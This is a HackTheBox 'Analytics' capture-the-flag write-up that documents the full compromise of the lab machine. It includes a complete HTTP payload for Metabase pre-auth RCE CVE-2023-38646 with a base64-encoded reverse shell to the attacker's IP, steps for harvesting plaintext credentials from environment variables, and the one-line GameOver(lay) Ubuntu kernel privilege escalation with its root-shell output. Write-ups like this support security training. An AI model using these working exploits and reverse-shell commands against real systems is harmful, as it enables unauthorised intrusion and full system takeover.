Created: Nov 15, 2023
[HackTheBox: Analytics] - [Easy]
Reconnaissance
An initial Nmap scan revealed only 2 open ports:
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.39s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx/1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
This revealed SSH running on port 22 and an nginx web server on port 80. Both telling us it's a server running Ubuntu.
The next step was to further enumerate the web application, but first, I added the IP address to /etc/hosts:
echo "10.10.14.233 analytical.htb" | sudo tee -a /etc/hosts
Initial Foothold
Exploring the Web Application
Browsing to http://analytical.htb brought up a simple login page. Intercepting requests with Burp revealed a redirect to http://data.analytical.htb, so I added that subdomain to /etc/hosts.
Visiting http://data.analytical.htb displayed a login page for Metabase, an open source business intelligence tool. Default credentials did not work on the login.
![[HackTheBox: Analytics] - [Easy]](https://images.prismic.io/superpupertest/119ff6a6-3a33-47ba-a5ea-1fbe3c0ff516_metabase-login-page-in-browser.webp?auto=format&w=680&h=398.253&dpr=3)
After some research, I discovered Metabase has a recently disclosed pre-authentication RCE vulnerability CVE-2023-38646. This bug in Metabase, involved a retained 'setup-token' post-installation, accessible to unauthenticated users. This flaw, resulting from a codebase refactoring oversight, allowed exploitation via SQL injection in the H2 database driver during the Metabase setup phase. The exploit enabled pre-authentication Remote Code Execution (RCE) by manipulating database connection validation steps.
The next step was finding a Proof of Concept exploit for this vulnerability to gain initial access. The search was not long, as there was a very nice writeup with PoC by AssetNote on their blog page.
The following payload can be used to obtain a reverse shell on the system:
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Referer: http://data.analytical.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: metabase.DEVICE=4f9146b3-7b53-471e-9f10-4232d6856b1d
If-Modified-Since: Fri, 13 Oct 2023 06:45:20 GMT
Connection: close
Content-Length: 822
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjM2LzU1NTUgMD4mMSAg}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
The value of YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjM2LzU1NTUgMD4mMSAg decoded is bash -i >&/dev/tcp/10.10.14.36/5555 0>&1. You must encode this with your own IP and port, and then modify the payload above before sending it. For some reason it won't work if there are any "=" signs in the base64 payload, so make sure you don't have them. You can add spaces in the end of the payload before base64 encoding it, to adjust the padding.
![[HackTheBox: Analytics] - [Easy]](https://images.prismic.io/superpupertest/7bfa8c85-c9a5-4a14-9c02-6b8fa3fc260e_metabase-exploit-request-in-burp.webp?auto=format&w=680&h=373.041&dpr=3)
This exploit allowed me to gain a reverse shell from the underlying system, but there was no user flag in there, so I started exploring what's around...
Finding Credentials
I checked /proc/self/environ for any environment variables:
76574c6ca049:~$ cat /proc/self/environ
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/home/metabase
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/cat
OLDPWD=/home/metabase/.ssh
This revealed credentials:
META_USER=metalytics
META_PASS=An4lytics_ds20223#
I tried to SSH into the server with those and:
i was in and could read the flag:
Last login: Wed Nov 15 01:55:43 2023 from 10.10.14.36
metalytics@analytics:~$ cat user.txt
dc3b************************c327
Privilege Escalation to Root
After gaining initial access to the Analytical server as the metalytics user, I began searching for ways to escalate privileges and obtain access to the root user account.
sudo -l didn't work
metalytics@analytics:~$ sudo -l
[sudo] password for metalytics:
Sorry, user metalytics may not run sudo on localhost.
uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
From top of my head I could remember that there was an Ubuntu kernel related privesc vulnerability discovered very recently, so I simply decided to try it out. New Container Exploit: Rooting Non-Root Containers with CVE-2023-2640 and CVE-2023-32629, aka GameOver(lay)
It is so simple, that fits in one line:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
So, let's try it:
metalytics@analytics:~$ id
uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics)
metalytics@analytics:~$ ls -la /root
ls: cannot open directory '/root': Permission denied
metalytics@analytics:~$
metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
root@analytics:~# id
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)
root@analytics:~# ls -la /root
total 48
drwx------ 6 root root 4096 Aug 25 15:14 .
drwxr-xr-x 18 root root 4096 Aug 8 11:37 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Apr 27 2023 .cache
drwxr-xr-x 3 root root 4096 Apr 27 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwxr-xr-x 2 root root 4096 Aug 25 15:14 .scripts
-rw-r--r-- 1 root root 66 Aug 25 15:14 .selected_editor
drwx------ 2 root root 4096 Apr 27 2023 .ssh
-rw-r--r-- 1 root root 39 Aug 8 11:30 .vimrc
-rw-r--r-- 1 root root 165 Aug 8 11:53 .wget-hsts
-rw-r----- 1 root root 33 Nov 15 00:54 root.txt
root@analytics:~# cat /root/root.txt
fe46************************afd0
root@analytics:~#
Path from initial access to root
Conclusion
The key steps were thorough reconnaissance, pinpointing a logical exploit chain, adapting public PoCs, and continuous enumeration for additional attack surface. Combining patience, research, and technical skills allowed me to achieve the goal.